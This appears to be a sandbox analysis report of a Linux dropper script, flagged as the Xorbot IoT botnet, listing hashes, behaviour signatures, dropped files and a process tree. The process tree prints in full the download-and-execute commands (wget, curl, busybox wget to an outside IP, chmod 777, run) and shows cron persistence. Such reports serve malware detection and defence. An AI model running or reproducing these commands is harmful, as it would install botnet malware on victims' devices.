Analysis

  • max time kernel
    150s
  • max time network
    158s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03-12-2024 00:29

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    616244bb402bee04b6b45f703b80d324

  • SHA1

    eaddf7ee69008a10c656aba8958a6cecd0ba4f19

  • SHA256

    43fd86667e58eeb0e59922eb2aa6773f01cbd8c39235dc00904a1eb13230eccb

  • SHA512

    b1c3ac89ae943e25e2657353fa3f06f3fdc85f489cc965c7cbcc310357d75d0b1977fcd66b09aee06aaaf9986246d1c6ee29cda146aa773aaca3bfb1885857a4

  • SSDEEP

    96:82/zFBpXexFta6UdZrD1iyqAIg93GCk9Nbe/axFta6MfdG0rDNFoyqAIg9OWGCki:82/zFBpHxQOGCk9N9iGCk9N6Xz7

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1250) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:676
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:680
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Writes file to tmp directory
          PID:683
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:697
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Writes file to tmp directory
          PID:706
        • /bin/chmod
          chmod 777 Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • File and Directory Permissions Modification
          PID:708
        • /tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          ./Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Executes dropped EXE
          PID:709
        • /bin/rm
          rm Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
            PID:713
          • /usr/bin/wget
            wget http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Writes file to tmp directory
            PID:714
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:715
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Writes file to tmp directory
            PID:716
          • /bin/chmod
            chmod 777 0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • File and Directory Permissions Modification
            PID:719
          • /tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            ./0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Executes dropped EXE
            PID:721
          • /bin/rm
            rm 0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
              PID:724
            • /usr/bin/wget
              wget http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Writes file to tmp directory
              PID:725
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:731
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Writes file to tmp directory
              PID:739
            • /bin/chmod
              chmod 777 b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • File and Directory Permissions Modification
              PID:742
            • /tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              ./b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Executes dropped EXE
              PID:744
            • /bin/rm
              rm b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
                PID:747
              • /usr/bin/wget
                wget http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Writes file to tmp directory
                PID:749
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:755
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Writes file to tmp directory
                PID:763
              • /bin/chmod
                chmod 777 zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • File and Directory Permissions Modification
                PID:769
              • /tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                ./zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:770
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:772
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:773
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:775
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:777
                    • /bin/rm
                      rm zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                      2⤵
                        PID:781
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                        2⤵
                          PID:785
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                          2⤵
                            PID:786
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                            2⤵
                            • Writes file to tmp directory
                            PID:872
                          • /bin/chmod
                            chmod 777 fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:882
                          • /tmp/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                            ./fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                            2⤵
                            • Executes dropped EXE
                            PID:885
                          • /bin/rm
                            rm fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                            2⤵
                              PID:886
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                              2⤵
                                PID:887
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                                2⤵
                                  PID:888
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:889
                                • /bin/chmod
                                  chmod 777 kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:891
                                • /tmp/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                                  ./kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                                  2⤵
                                  • Executes dropped EXE
                                  PID:892
                                • /bin/rm
                                  rm kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                                  2⤵
                                    PID:894
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                    2⤵
                                      PID:895
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                      2⤵
                                        PID:896
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:897
                                      • /bin/chmod
                                        chmod 777 ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:899
                                      • /tmp/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                        ./ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                        2⤵
                                        • Executes dropped EXE
                                        PID:900
                                      • /bin/rm
                                        rm ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                        2⤵
                                          PID:903
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                          2⤵
                                            PID:904
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                            2⤵
                                              PID:905

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC

                                            Filesize

                                            111KB

                                            MD5

                                            ca897a38f23ec23521ce0b1b83f8422d

                                            SHA1

                                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                            SHA256

                                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                            SHA512

                                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                          • /tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

                                            Filesize

                                            151KB

                                            MD5

                                            6c583043d91c55aa470c08c87058e917

                                            SHA1

                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                            SHA256

                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                            SHA512

                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                          • /tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf

                                            Filesize

                                            107KB

                                            MD5

                                            eb9c3a0de91fcf16ba17cb24608df68c

                                            SHA1

                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                            SHA256

                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                            SHA512

                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                          • /tmp/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ

                                            Filesize

                                            127KB

                                            MD5

                                            89077b7bd4bcafca7713be43635c4862

                                            SHA1

                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                            SHA256

                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                            SHA512

                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                          • /tmp/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5

                                            Filesize

                                            151KB

                                            MD5

                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                            SHA1

                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                            SHA256

                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                            SHA512

                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                          • /tmp/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB

                                            Filesize

                                            112KB

                                            MD5

                                            05d7857dcead18bbd86d2935f591873c

                                            SHA1

                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                            SHA256

                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                            SHA512

                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                          • /tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q

                                            Filesize

                                            119KB

                                            MD5

                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                            SHA1

                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                            SHA256

                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                            SHA512

                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                          • /var/spool/cron/crontabs/tmp.7BMtfH

                                            Filesize

                                            210B

                                            MD5

                                            361bccc57bd8d8127f46e94933f2e257

                                            SHA1

                                            7440738d60b4b39ac778144eeaa80835bf6c5f6b

                                            SHA256

                                            e9697389ff0f4ec6aa9d1fba221c916ddbfa474c89d611491bfac8f000dea2e9

                                            SHA512

                                            2bc06c6736ebe31ff898fe5d39328678c8e1d310f6ebe871e3aa0ca12f479b6630123e39c201281e9570381792b42ba32724309541010b3761c5149962d03663